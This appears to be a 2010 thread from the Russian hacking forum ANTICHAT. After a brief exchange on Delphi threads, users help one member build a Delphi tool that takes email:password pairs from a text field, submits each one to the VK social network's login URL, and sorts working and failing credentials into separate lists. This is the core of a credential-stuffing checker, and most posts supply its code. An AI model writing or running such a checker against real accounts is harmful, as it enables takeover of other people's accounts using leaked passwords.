ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 27.04.2010, 09:51
GhostOnline
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
С нами: 9152955

Репутация: 84
По умолчанию

Имхо тебе не стоит в данном случае заморачиваться пока с потоками, потому что проблема скорее всего в неправильной реализации работы клиента или сервера

Вообще, когда создаешь Thread Object в дельфи то создается заготовка, код потока вставляешь в тело процедуры Execute.
А использовать так:
var
thread : TmyThread;
begin
thread := TMyThread.Create(false);
end;

Последний раз редактировалось GhostOnline; 27.04.2010 в 09:54..
 
Ответить с цитированием

  #2  
Старый 27.04.2010, 11:03
iGlass
Познающий
Регистрация: 14.05.2009
Сообщений: 92
С нами: 8944114

Репутация: 5
По умолчанию

Спасибо, вроде разобрался.. Попытаюсь всё таки на GUI реализовать...
 
Ответить с цитированием

  #3  
Старый 27.04.2010, 16:37
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами: 8686406

Репутация: 265


По умолчанию

Подскажите))
Дельфи
Есть ссылка http://login.vk.com/?act=login&email=мыло&pass=пасс&expire=&vk =
как сделать что бы при нажатии на кнопку из memo бралась строчка ololo.mail.ruassword разделялась и подставлялась в ссылку. На местро мыло нужно что бы вставало ololo.mail.ru на место пасс password.
Спасибо.
 
Ответить с цитированием

  #4  
Старый 27.04.2010, 16:45
TrueBit
Познающий
Регистрация: 21.11.2009
Сообщений: 77
С нами: 8668804

Репутация: 29
По умолчанию

Цитата:
Сообщение от stepashka_  
Подскажите))
Дельфи
Есть ссылка http://login.vk.com/?act=login&email=мыло&pass=пасс&expire=&vk =
как сделать что бы при нажатии на кнопку из memo бралась строчка ololo.mail.ruassword разделялась и подставлялась в ссылку. На местро мыло нужно что бы вставало ololo.mail.ru на место пасс password.
Спасибо.
var
log,pass: string;
begin
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=
 
Ответить с цитированием

  #5  
Старый 27.04.2010, 16:47
fenixelite
Участник форума
Регистрация: 07.02.2010
Сообщений: 189
С нами: 8556802

Репутация: 79
По умолчанию

Писал прям тут, но вроде должно работать...

PHP код:
var
 
s,pass,mail:string;
 
i:integer;
begin
 i
:=pos(':',memo.lines[1]);
 
mail:=copy(memo.lines[1],1,i-1);
 
pass:=Copy(memo.Lines[1],i+1,length(memo.lines[1]);
 
s:='http://login.vk.com/?act=login&email='+mail+'&pass='+pass+'&expire=&vk=';
end
 
Ответить с цитированием

  #6  
Старый 27.04.2010, 17:24
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами: 8686406

Репутация: 265


По умолчанию

Дельфи
есть код
Цитата:
procedure TForm1.Button3Click(Sender: TObject);
var
uns, s,log,pass: String;
begin
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk= ');
s:=Copy(uns,Pos('value=',uns)+7,56);
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s) ;
uns := idhttp1.Get('http://vk.com/');
if Pos('http://vk.com/profile.php', uns) <> 0 then
ShowMessage('ne ok')
else
begin
ShowMessage('ok');
memo2.Lines.Add(uns);
Как сделать что бы после успешной авторизации, мыло:пасс выводилось в мемо2 а если авторизация не прошла выводилось в мемо3.
 
Ответить с цитированием

  #7  
Старый 27.04.2010, 17:30
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

А что сложного то? Вместо ShowMessage делай что-то вроде этого:
Код:
memo1.lines.add(log + ';' + pass);
 
Ответить с цитированием

  #8  
Старый 27.04.2010, 17:38
Vlad3d
Участник форума
Регистрация: 18.01.2008
Сообщений: 158
С нами: 9637731

Репутация: 106
По умолчанию

например так:
proverka:=idhttp1.get(lallalalal) //авторизация на сайте
if pos('выход',proverka)<>0 then
memo1.Lines.Add(log+':'+pass)
else
memo2.Lines.Add(log+':'+pass)
//вместо выход можно написать logoff если ты авторизуешься на vk.com

ну как то так
P.S. писал тут сразу
 
Ответить с цитированием

  #9  
Старый 27.04.2010, 17:48
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами: 8686406

Репутация: 265


По умолчанию

Цитата:
Сообщение от Vlad3d  
например так:
proverka:=idhttp1.get(lallalalal) //авторизация на сайте
if pos('выход',proverka)<>0 then
memo1.Lines.Add(log+':'+pass)
else
memo2.Lines.Add(log+':'+pass)
//вместо выход можно написать logoff если ты авторизуешься на vk.com

ну как то так
P.S. писал тут сразу
Если пасс верный то всё ГУД
Если пасс не верный, выскакивает ошибка
В мемо ничего не пишет
 
Ответить с цитированием

  #10  
Старый 27.04.2010, 18:01
Vlad3d
Участник форума
Регистрация: 18.01.2008
Сообщений: 158
С нами: 9637731

Репутация: 106
По умолчанию

proverka:=idhttp1.get(lallalalal)
try
if pos('выход',proverka)<>0 then
memo1.Lines.Add(log+':'+pass)
....
except
memo2.Lines.Add(log+':'+pass)
.....


так может
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/Wi-Fi/Wardriving 2571 20.06.2026 14:48
[jQuery] - Задай вопрос, получи ответ Isis PHP 62 25.12.2009 03:25



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.